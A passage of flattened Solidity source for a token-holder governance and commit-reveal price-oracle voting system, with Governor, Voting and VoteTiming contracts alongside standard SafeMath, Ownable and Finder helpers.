bool public isTest;
uint private currentTime;
constructor(bool _isTest) internal {
isTest = _isTest;
if (_isTest) {
currentTime = now; // solhint-disable-line not-rely-on-time
}
}
/**
* @notice Reverts if not running in test mode.
*/
modifier onlyIfTest {
require(isTest);
_;
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
*/
function setCurrentTime(uint _time) external onlyIfTest {
currentTime = _time;
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
*/
function getCurrentTime() public view returns (uint) {
if (isTest) {
return currentTime;
} else {
return now; // solhint-disable-line not-rely-on-time
}
}
}
contract Governor is MultiRole, Testable {
using SafeMath for uint;
enum Roles {
// Can set the proposer.
Owner,
// Address that can make proposals.
Proposer
}
struct Transaction {
address to;
uint value;
bytes data;
}
struct Proposal {
Transaction[] transactions;
uint requestTime;
}
Finder private finder;
Proposal[] public proposals;
/**
* @notice Emitted when a new proposal is created.
*/
event NewProposal(uint indexed id, Transaction[] transactions);
/**
* @notice Emitted when an existing proposal is executed.
*/
event ProposalExecuted(uint indexed id, uint transactionIndex);
constructor(address _finderAddress, bool _isTest) public Testable(_isTest) {
finder = Finder(_finderAddress);
_createExclusiveRole(uint(Roles.Owner), uint(Roles.Owner), msg.sender);
_createExclusiveRole(uint(Roles.Proposer), uint(Roles.Owner), msg.sender);
}
/**
* @notice Executes a proposed governance action that has been approved by voters. This can be called by anyone.
*/
function executeProposal(uint id, uint transactionIndex) external {
Proposal storage proposal = proposals[id];
int price = _getVoting().getPrice(_constructIdentifier(id), proposal.requestTime);
Transaction storage transaction = proposal.transactions[transactionIndex];
require(transactionIndex == 0 || proposal.transactions[transactionIndex.sub(1)].to == address(0),
"Previous transaction has not been executed");
require(transaction.to != address(0), "Transaction has already been executed");
require(price != 0, "Cannot execute, proposal was voted down");
require(_executeCall(transaction.to, transaction.value, transaction.data), "Transaction execution failed");
// Delete the transaction.
delete proposal.transactions[transactionIndex];
emit ProposalExecuted(id, transactionIndex);
}
/**
* @notice Gets the total number of proposals (includes executed and non-executed).
*/
function numProposals() external view returns (uint) {
return proposals.length;
}
/**
* @notice Gets the proposal data for a particular id.
* Note: after a proposal is executed, its data will be zeroed out.
*/
function getProposal(uint id) external view returns (Proposal memory proposal) {
return proposals[id];
}
/**
* @notice Proposes a new governance action. Can only be called by the holder of the Proposer role.
* @param transactions the list of transactions that are being proposed.
* @dev You can create the data portion of each transaction by doing the following:
* ```
* const truffleContractInstance = await TruffleContract.deployed()
* const data = truffleContractInstance.methods.methodToCall(arg1, arg2).encodeABI()
* ```
* Note: this method must be public because of a solidity limitation that disallows structs arrays to be passed to
* external functions.
*/
function propose(Transaction[] memory transactions) public onlyRoleHolder(uint(Roles.Proposer)) {
uint id = proposals.length;
uint time = getCurrentTime();
// Note: doing all of this array manipulation manually is necessary because directly setting an array of
// structs in storage to an an array of structs in memory is currently not implemented in solidity :/.
// Add an element to the proposals array.
proposals.length = proposals.length.add(1);
// Initialize the new proposal.
Proposal storage proposal = proposals[id];
proposal.requestTime = time;
// Initialize the transaction array.
proposal.transactions.length = transactions.length;
for (uint i = 0; i < transactions.length; i++) {
require(transactions[i].to != address(0), "The to address cannot be 0x0");
proposal.transactions[i] = transactions[i];
}
bytes32 identifier = _constructIdentifier(id);
// Request a vote on this proposal in the DVM.
Voting voting = _getVoting();
voting.addSupportedIdentifier(identifier);
// Note: this check is only here to appease slither.
require(voting.requestPrice(identifier, time) != ~uint(0), "Proposal will never be considered");
voting.removeSupportedIdentifier(identifier);
emit NewProposal(id, transactions);
}
function _constructIdentifier(uint id) private pure returns (bytes32 identifier) {
bytes32 bytesId = _uintToBytes(id);
return _addPrefix(bytesId, "Admin ", 6);
}
function _executeCall(address to, uint256 value, bytes memory data)
private
returns (bool success)
{
// Mostly copied from:
// solhint-disable-next-line max-line-length
// https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31
// solhint-disable-next-line no-inline-assembly
assembly {
let inputData := add(data, 0x20)
let inputDataSize := mload(data)
success := call(gas, to, value, inputData, inputDataSize, 0, 0)
}
}
function _getVoting() private view returns (Voting voting) {
return Voting(finder.getImplementationAddress("Oracle"));
}
// This method is based off of this code: https://ethereum.stackexchange.com/a/6613/47801.
function _uintToBytes(uint v) private pure returns (bytes32 ret) {
if (v == 0) {
ret = "0";
} else {
while (v > 0) {
ret = ret >> 8;
ret |= bytes32((v % 10) + 48) << (31 * 8);
v /= 10;
}
}
return ret;
}
function _addPrefix(bytes32 input, bytes32 prefix, uint prefixLength) private pure returns (bytes32 output) {
bytes32 shiftedInput = input >> (prefixLength * 8);
return shiftedInput | prefix;
}
}
library VoteTiming {
using SafeMath for uint;
// Note: the phases must be in order. Meaning the first enum value must be the first phase, etc.
enum Phase {
Commit,
Reveal
}
// Note: this MUST match the number of values in the enum above.
uint private constant NUM_PHASES = 2;
struct Data {
uint roundId;
uint roundStartTime;
uint phaseLength;
}
/**
* @notice Initializes the data object. Sets the phase length based on the input and resets the round id and round
* start time to 1 and 0 respectively.
* @dev This method should generally only be run once, but it can also be used to reset the data structure to its
* initial values.
*/
function init(Data storage data, uint phaseLength) internal {
data.phaseLength = phaseLength;
data.roundId = 1;
data.roundStartTime = 0;
}
/**
* @notice Gets the most recently stored round ID set by updateRoundId().
*/
function getLastUpdatedRoundId(Data storage data) internal view returns (uint) {
return data.roundId;
}
/**
* @notice Determines whether time has advanced far enough to advance to the next voting round and update the
* stored round id.
*/
function shouldUpdateRoundId(Data storage data, uint currentTime) internal view returns (bool) {
(uint roundId,) = _getCurrentRoundIdAndStartTime(data, currentTime);
return data.roundId != roundId;
}
/**
* @notice Updates the round id. Note: if shouldUpdateRoundId() returns false, this method will have no effect.
*/
function updateRoundId(Data storage data, uint currentTime) internal {
(data.roundId, data.roundStartTime) = _getCurrentRoundIdAndStartTime(data, currentTime);
}
/**
* @notice Computes what the stored round id would be if it were updated right now, but this method does not
* commit the update.
*/
function computeCurrentRoundId(Data storage data, uint currentTime) internal view returns (uint roundId) {
(roundId,) = _getCurrentRoundIdAndStartTime(data, currentTime);
}
/**
* @notice Computes the current phase based only on the current time.
*/
function computeCurrentPhase(Data storage data, uint currentTime) internal view returns (Phase) {
// This employs some hacky casting. We could make this an if-statement if we're worried about type safety.
return Phase(currentTime.div(data.phaseLength).mod(NUM_PHASES));
}
/**
* @notice Gets the end time of the current round or any round in the future. Note: this method will revert if
* the roundId < getLastUpdatedRoundId().
*/
function computeEstimatedRoundEndTime(Data storage data, uint roundId) internal view returns (uint) {
// The add(1) is because we want the round end time rather than the start time, so it's really the start of
// the next round.
uint roundDiff = roundId.sub(data.roundId).add(1);
uint roundLength = data.phaseLength.mul(NUM_PHASES);
return data.roundStartTime.add(roundDiff.mul(roundLength));
}
/**
* @dev Computes an updated round id and round start time based on the current time.
*/
function _getCurrentRoundIdAndStartTime(Data storage data, uint currentTime)
private
view
returns (uint roundId, uint startTime)
{
uint currentStartTime = data.roundStartTime;
// Return current data if time has moved backwards.
if (currentTime <= data.roundStartTime) {
return (data.roundId, data.roundStartTime);
}
// Get the start of the round that currentTime would be a part of by flooring by roundLength.
uint roundLength = data.phaseLength.mul(NUM_PHASES);
startTime = currentTime.div(roundLength).mul(roundLength);
// Only increment the round ID if the start time has changed.
if (startTime > currentStartTime) {
roundId = data.roundId.add(1);
} else {
roundId = data.roundId;
}
}
}
contract VotingInterface {
struct PendingRequest {
bytes32 identifier;
uint time;
}
/**
* @notice Commit your vote for a price request for `identifier` at `time`.
* @dev (`identifier`, `time`) must correspond to a price request that's currently in the commit phase. `hash`
* should be the keccak256 hash of the price you want to vote for and a `int salt`. Commits can be changed.
*/
function commitVote(bytes32 identifier, uint time, bytes32 hash) external;
/**
* @notice Reveal a previously committed vote for `identifier` at `time`.
* @dev The revealed `price` and `salt` must match the latest `hash` that `commitVote()` was called with. Only the
* committer can reveal their vote.
*/
function revealVote(bytes32 identifier, uint time, int price, int salt) external;
/**
* @notice Gets the queries that are being voted on this round.
*/
function getPendingRequests() external view returns (PendingRequest[] memory);
/**
* @notice Gets the current vote phase (commit or reveal) based on the current block time.
*/
function getVotePhase() external view returns (VoteTiming.Phase);
/**
* @notice Gets the current vote round id based on the current block time.
*/
function getCurrentRoundId() external view returns (uint);
/**
* @notice Retrieves rewards owed for a set of resolved price requests.
*/
function retrieveRewards(address voterAddress, uint roundId, PendingRequest[] memory) public returns
(FixedPoint.Unsigned memory);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Finder is Ownable {
mapping(bytes32 => address) public interfacesImplemented;
event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress);
/**
* @dev Updates the address of the contract that implements `interfaceName`.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress)
external
onlyOwner
{
interfacesImplemented[interfaceName] = implementationAddress;
emit InterfaceImplementationChanged(interfaceName, implementationAddress);
}
/**
* @dev Gets the address of the contract that implements the given `interfaceName`.
*/
function getImplementationAddress(bytes32 interfaceName)
external
view
returns (address implementationAddress)
{
implementationAddress = interfacesImplemented[interfaceName];
require(implementationAddress != address(0x0), "No implementation for interface found");
}
}
contract Voting is Testable, Ownable, OracleInterface, VotingInterface, EncryptedSender {
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint;
using VoteTiming for VoteTiming.Data;
using ResultComputation for ResultComputation.Data;
// Identifies a unique price request for which the Oracle will always return the same value.
// Tracks ongoing votes as well as the result of the vote.
struct PriceRequest {
bytes32 identifier;
uint time;
// A map containing all votes for this price in various rounds.
mapping(uint => VoteInstance) voteInstances;
// If in the past, this was the voting round where this price was resolved. If current or the upcoming round,
// this is the voting round where this price will be voted on, but not necessarily resolved.
uint lastVotingRound;
// The index in the `pendingPriceRequests` that references this PriceRequest. A value of UINT_MAX means that
// this PriceRequest is resolved and has been cleaned up from `pendingPriceRequests`.
uint index;
}
struct VoteInstance {
// Maps (voterAddress) to their submission.
mapping(address => VoteSubmission) voteSubmissions;
// The data structure containing the computed voting results.
ResultComputation.Data resultComputation;
}
struct VoteSubmission {
// A bytes32 of `0` indicates no commit or a commit that was already revealed.
bytes32 commit;
// The hash of the value that was revealed.
// Note: this is only used for computation of rewards.
bytes32 revealHash;
}
// Captures the necessary data for making a commitment.
// Used as a parameter when making batch commitments.
// Not used as a data structure for storage.
struct Commitment {
bytes32 identifier;
uint time;
bytes32 hash;
bytes encryptedVote;
}
// Captures the necessary data for revealing a vote.
// Used as a parameter when making batch reveals.
// Not used as a data structure for storage.
struct Reveal {
bytes32 identifier;
uint time;
int price;
int salt;
}
struct Round {
// Voting token snapshot ID for this round. If this is 0, no snapshot has been taken.
uint snapshotId;
// Inflation rate set for this round.
FixedPoint.Unsigned inflationRate;
}
// Represents the status a price request has.
enum RequestStatus {
// Was never requested.
NotRequested,
// Is being voted on in the current round.
Active,
// Was resolved in a previous round.
Resolved,
// Is scheduled to be voted on in a future round.
Future
}
// Maps round numbers to the rounds.
mapping(uint => Round) private rounds;
// Maps price request IDs to the PriceRequest struct.
mapping(bytes32 => PriceRequest) private priceRequests;
// Price request ids for price requests that haven't yet been marked as resolved. These requests may be for future
// rounds.
bytes32[] private pendingPriceRequests;
VoteTiming.Data private voteTiming;
// The set of identifiers the oracle can provide verified prices for.
mapping(bytes32 => bool) private supportedIdentifiers;
// Percentage of the total token supply that must be used in a vote to create a valid price resolution.
// 1 == 100%.
FixedPoint.Unsigned private gatPercentage;
// Global setting for the rate of inflation per vote. This is the percentage of the snapshotted total supply that
// should be split among the correct voters. Note: this value is used to set per-round inflation at the beginning
// of each round.
// 1 = 100%
FixedPoint.Unsigned private inflationRate;
// Reference to the voting token.
VotingToken private votingToken;
// Reference to the Finder.
Finder private finder;
// If non-zero, this contract has been migrated to this address. All voters and financial contracts should query the
// new address only.
address private migratedAddress;
// Max value of an unsigned integer.
uint constant private UINT_MAX = ~uint(0);
event VoteCommitted(address indexed voter, uint indexed roundId, bytes32 indexed identifier, uint time);
event VoteRevealed(
address indexed voter,
uint indexed roundId,
bytes32 indexed identifier,
uint time,
int price,
uint numTokens
);
event RewardsRetrieved(address indexed voter, uint indexed roundId, bytes32 indexed identifier, uint time,
uint numTokens);
event PriceRequestAdded(uint indexed votingRoundId, bytes32 indexed identifier, uint time);
event PriceResolved(uint indexed resolutionRoundId, bytes32 indexed identifier, uint time, int price);
event SupportedIdentifierAdded(bytes32 indexed identifier);
event SupportedIdentifierRemoved(bytes32 indexed identifier);
/**
* @notice Construct the Voting contract.
* @param phaseLength length of the commit and reveal phases in seconds.
* @param _gatPercentage percentage of the total token supply that must be used in a vote to create a valid price
* resolution.
* @param _isTest whether this contract is being constructed for the purpose of running automated tests.
*/
constructor(
uint phaseLength,
FixedPoint.Unsigned memory _gatPercentage,
FixedPoint.Unsigned memory _inflationRate,
address _votingToken,
address _finder,
bool _isTest
) public Testable(_isTest) {
voteTiming.init(phaseLength);
// TODO(#779): GAT percentage must be < 100%
require(_gatPercentage.isLessThan(1));
gatPercentage = _gatPercentage;
inflationRate = _inflationRate;
votingToken = VotingToken(_votingToken);
finder = Finder(_finder);
}
modifier onlyRegisteredDerivative() {
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress);
} else {
Registry registry = Registry(finder.getImplementationAddress("Registry"));
// TODO(#779): Must be registered derivative
require(registry.isDerivativeRegistered(msg.sender));
}
_;
}
modifier onlyIfNotMigrated() {
require(migratedAddress == address(0));
_;
}
function requestPrice(bytes32 identifier, uint time)
external
onlyRegisteredDerivative()
returns (uint expectedTime)
{
uint blockTime = getCurrentTime();
// TODO(#779): Price request must be for a time in the past
require(time <= blockTime);
// TODO(#779): Price request for unsupported identifier
require(supportedIdentifiers[identifier]);
// Must ensure the round is updated here so the requested price will be voted on in the next commit cycle.
_updateRound(blockTime);
bytes32 priceRequestId = _encodePriceRequest(identifier, time);
PriceRequest storage priceRequest = priceRequests[priceRequestId];
uint currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.Active) {
return voteTiming.computeEstimatedRoundEndTime(currentRoundId);
} else if (requestStatus == RequestStatus.Resolved) {
return 0;
} else if (requestStatus == RequestStatus.Future) {
return voteTiming.computeEstimatedRoundEndTime(priceRequest.lastVotingRound);
}
// Price has never been requested.
// Price requests always go in the next round, so add 1 to the computed current round.
uint nextRoundId = currentRoundId.add(1);
priceRequests[priceRequestId] = PriceRequest({
identifier: identifier,
time: time,
lastVotingRound: nextRoundId,
index: pendingPriceRequests.length
});
pendingPriceRequests.push(priceRequestId);
emit PriceRequestAdded(nextRoundId, identifier, time);
// Estimate the end of next round and return the time.
return voteTiming.computeEstimatedRoundEndTime(nextRoundId);
}
function batchCommit(Commitment[] calldata commits) external {
for (uint i = 0; i < commits.length; i++) {
if (commits[i].encryptedVote.length == 0) {
commitVote(commits[i].identifier, commits[i].time, commits[i].hash);
} else {
commitAndPersistEncryptedVote(
commits[i].identifier,
commits[i].time,
commits[i].hash,
commits[i].encryptedVote);
}
}
}
function batchReveal(Reveal[] calldata reveals) external {
for (uint i = 0; i < reveals.length; i++) {
revealVote(reveals[i].identifier, reveals[i].time, reveals[i].price, reveals[i].salt);
}
}
/**
* @notice Disables this Voting contract in favor of the migrated one.
*/
function setMigrated(address newVotingAddress) external onlyOwner {
migratedAddress = newVotingAddress;
}
/**
* @notice Adds the provided identifier as a supported identifier. Price requests using this identifier will be
* succeed after this call.
*/
function addSupportedIdentifier(bytes32 identifier) external onlyOwner {
if (!supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = true;
emit SupportedIdentifierAdded(identifier);
}
}
/**
* @notice Removes the identifier from the whitelist. Price requests using this identifier will no longer succeed
* after this call.
*/
function removeSupportedIdentifier(bytes32 identifier) external onlyOwner {
if (supportedIdentifiers[identifier]) {
supportedIdentifiers[identifier] = false;
emit SupportedIdentifierRemoved(identifier);
}
}
function isIdentifierSupported(bytes32 identifier) external view returns (bool) {
return supportedIdentifiers[identifier];
}
function hasPrice(bytes32 identifier, uint time) external view onlyRegisteredDerivative() returns (bool _hasPrice) {
(_hasPrice, ,) = _getPriceOrError(identifier, time);
}
function getPrice(bytes32 identifier, uint time) external view onlyRegisteredDerivative() returns (int) {
(bool _hasPrice, int price, string memory message) = _getPriceOrError(identifier, time);
// TODO(#779): If the price wasn't available, revert with the provided message.
require(_hasPrice, message);
return price;
}
function getPendingRequests() external view returns (PendingRequest[] memory pendingRequests) {
uint blockTime = getCurrentTime();
uint currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
// Solidity memory arrays aren't resizable (and reading storage is expensive). Hence this hackery to filter
// `pendingPriceRequests` only to those requests that `isActive()`.
PendingRequest[] memory unresolved = new PendingRequest[](pendingPriceRequests.length);
uint numUnresolved = 0;
for (uint i = 0; i < pendingPriceRequests.length; i++) {
PriceRequest storage priceRequest = priceRequests[pendingPriceRequests[i]];
if (_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active) {
unresolved[numUnresolved] = PendingRequest(
{ identifier: priceRequest.identifier, time: priceRequest.time });
numUnresolved++;
}
}
pendingRequests = new PendingRequest[](numUnresolved);
for (uint i = 0; i < numUnresolved; i++) {
pendingRequests[i] = unresolved[i];
}
}
function getVotePhase() external view returns (VoteTiming.Phase) {
return voteTiming.computeCurrentPhase(getCurrentTime());
}
function getCurrentRoundId() external view returns (uint) {
return voteTiming.computeCurrentRoundId(getCurrentTime());
}
function commitVote(bytes32 identifier, uint time, bytes32 hash) public onlyIfNotMigrated() {
// TODO(#779): Committed hash of 0 is disallowed, choose a different salt
require(hash != bytes32(0));
// Current time is required for all vote timing queries.
uint blockTime = getCurrentTime();
// TODO(#779): Cannot commit while in the reveal phase
require(voteTiming.computeCurrentPhase(blockTime) == VoteTiming.Phase.Commit);
// Should only update the round in the commit phase because a new round that's already in the reveal phase
// would be wasted.
_updateRound(blockTime);
// At this point, the computed and last updated round ID should be equal.
uint currentRoundId = voteTiming.computeCurrentRoundId(blockTime);
PriceRequest storage priceRequest = _getPriceRequest(identifier, time);
// TODO(#779): Cannot commit on inactive request
require(_getRequestStatus(priceRequest, currentRoundId) == RequestStatus.Active);
priceRequest.lastVotingRound = currentRoundId;
VoteInstance storage voteInstance = priceRequest.voteInstances[currentRoundId];
voteInstance.voteSubmissions[msg.sender].commit = hash;
emit VoteCommitted(msg.sender, currentRoundId, identifier, time);
}
function revealVote(bytes32 identifier, uint time, int price, int salt) public onlyIfNotMigrated() {
uint blockTime = getCurrentTime();
require(voteTiming.computeCurrentPhase(blockTime) == VoteTiming.Phase.Reveal,
"Cannot reveal while in the commit phase");
// Note: computing the current round is required to disallow people from revealing an old commit after the
// round is over.
uint roundId = voteTiming.computeCurrentRoundId(blockTime);
PriceRequest storage priceRequest = _getPriceRequest(identifier, time);
VoteInstance storage voteInstance = priceRequest.voteInstances[roundId];
VoteSubmission storage voteSubmission = voteInstance.voteSubmissions[msg.sender];
// 0 hashes are disallowed in the commit phase, so they indicate a different error.
require(voteSubmission.commit != bytes32(0), "Cannot reveal an uncommitted or previously revealed hash");
require(keccak256(abi.encode(price, salt)) == voteSubmission.commit,
"Committed hash doesn't match revealed price and salt");
delete voteSubmission.commit;
// Get or create a snapshot for this round.
uint snapshotId = _getOrCreateSnapshotId(roundId);
// Get the voter's snapshotted balance. Since balances are returned pre-scaled by 10**18, we can directly
// initialize the Unsigned value with the returned uint.
FixedPoint.Unsigned memory balance = FixedPoint.Unsigned(votingToken.balanceOfAt(msg.sender, snapshotId));
// Set the voter's submission.
voteSubmission.revealHash = keccak256(abi.encode(price));
// Add vote to the results.
voteInstance.resultComputation.addVote(price, balance);
// Remove the stored message for this price request, if it exists.
bytes32 topicHash = keccak256(abi.encode(identifier, time, roundId));
removeMessage(msg.sender, topicHash);
emit VoteRevealed(msg.sender, roundId, identifier, time, price, balance.rawValue);
}
function commitAndPersistEncryptedVote(
bytes32 identifier,
uint time,
bytes32 hash,
bytes memory encryptedVote
) public {
commitVote(identifier, time, hash);
uint roundId = voteTiming.computeCurrentRoundId(getCurrentTime());
bytes32 topicHash = keccak256(abi.encode(identifier, time, roundId));
sendMessage(msg.sender, topicHash, encryptedVote);
}
/**
* @notice Resets the inflation rate. Note: this change only applies to rounds that have not yet begun.
* @dev This method is public because calldata structs are not currently supported by solidity.
*/
function setInflationRate(FixedPoint.Unsigned memory _inflationRate) public onlyOwner {
inflationRate = _inflationRate;
}
function retrieveRewards(address voterAddress, uint roundId, PendingRequest[] memory toRetrieve)
public
returns (FixedPoint.Unsigned memory totalRewardToIssue)
{
if (migratedAddress != address(0)) {
require(msg.sender == migratedAddress);
}
uint blockTime = getCurrentTime();
_updateRound(blockTime);
require(roundId < voteTiming.computeCurrentRoundId(blockTime));
Round storage round = rounds[roundId];
FixedPoint.Unsigned memory snapshotBalance = FixedPoint.Unsigned(
votingToken.balanceOfAt(voterAddress, round.snapshotId));
// Compute the total amount of reward that will be issued for each of the votes in the round.
FixedPoint.Unsigned memory snapshotTotalSupply = FixedPoint.Unsigned(
votingToken.totalSupplyAt(round.snapshotId));
FixedPoint.Unsigned memory totalRewardPerVote = round.inflationRate.mul(snapshotTotalSupply);
// Keep track of the voter's accumulated token reward.
totalRewardToIssue = FixedPoint.Unsigned(0);
for (uint i = 0; i < toRetrieve.length; i++) {
PriceRequest storage priceRequest = _getPriceRequest(toRetrieve[i].identifier, toRetrieve[i].time);
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
require(priceRequest.lastVotingRound == roundId, "Only retrieve rewards for votes resolved in same round");
_resolvePriceRequest(priceRequest, voteInstance);
if (voteInstance.resultComputation.wasVoteCorrect(voteInstance.voteSubmissions[voterAddress].revealHash)) {
// The price was successfully resolved during the voter's last voting round, the voter revealed and was
// correct, so they are elgible for a reward.
FixedPoint.Unsigned memory correctTokens = voteInstance.resultComputation.
getTotalCorrectlyVotedTokens();
// Compute the reward and add to the cumulative reward.
FixedPoint.Unsigned memory reward = snapshotBalance.mul(totalRewardPerVote).div(correctTokens);
totalRewardToIssue = totalRewardToIssue.add(reward);
// Emit reward retrieval for this vote.
emit RewardsRetrieved(voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time,
reward.rawValue);
} else {
// Emit a 0 token retrieval on incorrect votes.
emit RewardsRetrieved(voterAddress, roundId, toRetrieve[i].identifier, toRetrieve[i].time, 0);
}
// Delete the submission to capture any refund and clean up storage.
delete voteInstance.voteSubmissions[voterAddress].revealHash;
}
// Issue any accumulated rewards.
if (totalRewardToIssue.isGreaterThan(0)) {
require(votingToken.mint(voterAddress, totalRewardToIssue.rawValue));
}
}
/*
* @dev Checks to see if there is a price that has or can be resolved for an (identifier, time) pair.
* @returns a boolean noting whether a price is resolved, the price, and an error string if necessary.
*/
function _getPriceOrError(bytes32 identifier, uint time)
private
view
returns (bool _hasPrice, int price, string memory err)
{
PriceRequest storage priceRequest = _getPriceRequest(identifier, time);
uint currentRoundId = voteTiming.computeCurrentRoundId(getCurrentTime());
RequestStatus requestStatus = _getRequestStatus(priceRequest, currentRoundId);
if (requestStatus == RequestStatus.Active) {
return (false, 0, "The current voting round has not ended");
} else if (requestStatus == RequestStatus.Resolved) {
VoteInstance storage voteInstance = priceRequest.voteInstances[priceRequest.lastVotingRound];
(, int resolvedPrice) = voteInstance.resultComputation.getResolvedPrice(
_computeGat(priceRequest.lastVotingRound));
return (true, resolvedPrice, "");
} else if (requestStatus == RequestStatus.Future) {
return (false, 0, "Price will be voted on in the future");
} else {
return (false, 0, "Price was never requested");
}
}
function _getPriceRequest(bytes32 identifier, uint time) private view returns (PriceRequest storage) {
return priceRequests[_encodePriceRequest(identifier, time)];
}
